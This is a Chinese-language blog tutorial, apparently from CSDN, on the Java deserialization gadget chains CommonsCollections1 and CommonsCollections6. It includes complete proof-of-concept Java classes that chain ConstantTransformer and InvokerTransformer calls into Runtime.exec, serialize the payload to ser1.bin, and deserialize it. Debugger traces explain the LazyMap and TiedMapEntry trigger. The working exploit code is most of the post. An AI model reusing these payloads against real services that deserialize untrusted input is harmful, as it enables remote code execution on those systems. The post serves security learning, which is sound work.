java反序列化CC6链

1. CC6

环境配置参考:https://blog.youkuaiyun.com/google20/article/details/144319463

续上篇

序列化前把它看成是一个俄罗斯套娃的过程,然后反序列化就是把套娃层层剥开。

1. cc1

先来看一下CC1使用LazyMap的链子

AbstractMapDecorator.java的entrySet()->lazymap.get()

/*
	Gadget chain:
		ObjectInputStream.readObject()
			AnnotationInvocationHandler.readObject()
				Map(Proxy).entrySet()
					AnnotationInvocationHandler.invoke()
						LazyMap.get()
							ChainedTransformer.transform()
								ConstantTransformer.transform()
								InvokerTransformer.transform()
									Method.invoke()
										Class.getMethod()
								InvokerTransformer.transform()
									Method.invoke()
										Runtime.getRuntime()
								InvokerTransformer.transform()
									Method.invoke()
										Runtime.exec()

	Requires:
		commons-collections
 */

在这里插入图片描述

package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Annotation;
import java.lang.annotation.Target;
import java.util.HashMap;
import java.util.Map;
import java.lang.reflect.*;

public class CC1 {
    public static void main(String[] args) throws Exception {

        Transformer[] transformerArray=new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformerArray);

        HashMap<Object, Object> map = new HashMap();
        Map<Object, Object> lazyMap = LazyMap.decorate(map,chainedTransformer);//参数Map map, Transformer factory
        Class ac=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationConstructor= ac.getDeclaredConstructor(Class.class, Map.class);
        annotationConstructor.setAccessible(true);
        InvocationHandler h = (InvocationHandler)annotationConstructor.newInstance(Override.class, lazyMap);
        //传的注解只用过annotationType = AnnotationType.getInstance(type);的异常检测就行
        //动态生成代理类,需要传入类加载器、接口数组和InvocationHandler实例
        Map mapProxy = (Map)Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},h);
        //使用LazyMap的类加载器创建代理对象
        //代理对象实现Map接口,所有方法调用由InvocationHandler h处理
        Object o=annotationConstructor.newInstance(Override.class, mapProxy);
        serialize(o);
        //unserialize("ser1.bin")

    }
    //序列化方法
    public static void serialize(Object object) throws Exception {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser1.bin"));
        oos.writeObject(object);
    }

    //反序列化方法
    public static void unserialize(String filename) throws Exception {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
        objectInputStream.readObject();
        //会尝试调用被反序列化对象的类中的readObject(ObjectInputStream in)方法
    }
}

2. cc6

与 CC1 不同,CC6 不依赖 AnnotationInvocationHandler.java,因此不受 JDK 1.8.0_71 及以上版本的修复影响。

jdk1.8.0_65
在这里插入图片描述
jdk1.8.0_181

先通过streamVals.entrySet()遍历数据,再存入新创建的LinkedHashMap,完全跳过了TransformedMap/LazyMap的触发点memberValue.setValue()
在这里插入图片描述
在这里插入图片描述

CC6执行过程

/*
	Gadget chain:
	    java.io.ObjectInputStream.readObject()
            java.util.HashSet.readObject()
                java.util.HashMap.put()
                java.util.HashMap.hash()
                    org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
                    org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
                        org.apache.commons.collections.map.LazyMap.get()
                            org.apache.commons.collections.functors.ChainedTransformer.transform()
                            org.apache.commons.collections.functors.InvokerTransformer.transform()
                            java.lang.reflect.Method.invoke()
                                java.lang.Runtime.exec()

    by @matthias_kaiser
*/

在这里插入图片描述

package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Annotation;
import java.lang.annotation.Target;
import java.util.HashMap;
import java.util.Map;
import java.lang.reflect.*;

public class CC6 {
    public static void main(String[] args) throws Exception {

        Transformer[] transformerArray=new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformerArray);

        HashMap<Object, Object> map = new HashMap();
        Map<Object, Object> lazyMap = LazyMap.decorate(map,new ConstantTransformer(1));
        //参数Map map, Transformer factory
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"aaa");
        HashMap<Object,Object> map2=new HashMap<>();//HashMap对key调用hashCode()函数
        map2.put(tiedMapEntry,"bbb");//put的时候会给lazyMap添加key
        lazyMap.remove("aaa");

        Class c=LazyMap.class;
        Field factoryField=c.getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(lazyMap,chainedTransformer);

        //serialize(map2);
        unserialize("ser1.bin");

    }
    //序列化方法
    public static void serialize(Object object) throws Exception {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser1.bin"));
        oos.writeObject(object);
    }

    //反序列化方法
    public static void unserialize(String filename) throws Exception {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
        objectInputStream.readObject();
        //会尝试调用被反序列化对象的类中的readObject(ObjectInputStream in)方法
    }
}

在这里插入图片描述

3. 正向跟踪一下

先断在这里new TiedMapEntry(lazyMap,"aaa");
在这里插入图片描述

对HashMap.java中的三个函数打条件断点

get(Object key)
hash(Object key)
put(K key, V value)

其实没什么用,调试器该忽略断点还是忽略断点。

"main".equals(Thread.currentThread().getName()) && key != null && key.toString().contains("Tied")

可以看到get函数先触发
在这里插入图片描述

然后是hash()函数
在这里插入图片描述

需要注意的是TiedMapEntry.java 74行和lazymap.java的157行等断点有时候会无效。

但是警告可知他们被调用了
在这里插入图片描述
在这里插入图片描述
就看这么多了。

4. unserialize跟踪

注释掉remove函数,跟踪一波

在这里插入图片描述
在这里插入图片描述

map其实是lazyMap

在这里插入图片描述

可以发现key存在会跳过if里的语句导致利用中断

需要传入的key不在lazymap的key里面才会调用transform方法,所以要保证key是第一次出现,使用remove删除key即可。

在这里插入图片描述

参考

https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java

Java反序列化CommonsCollections篇(二)-最好用的CC链 白日梦组长

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

cllsse

富✌您吉祥

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值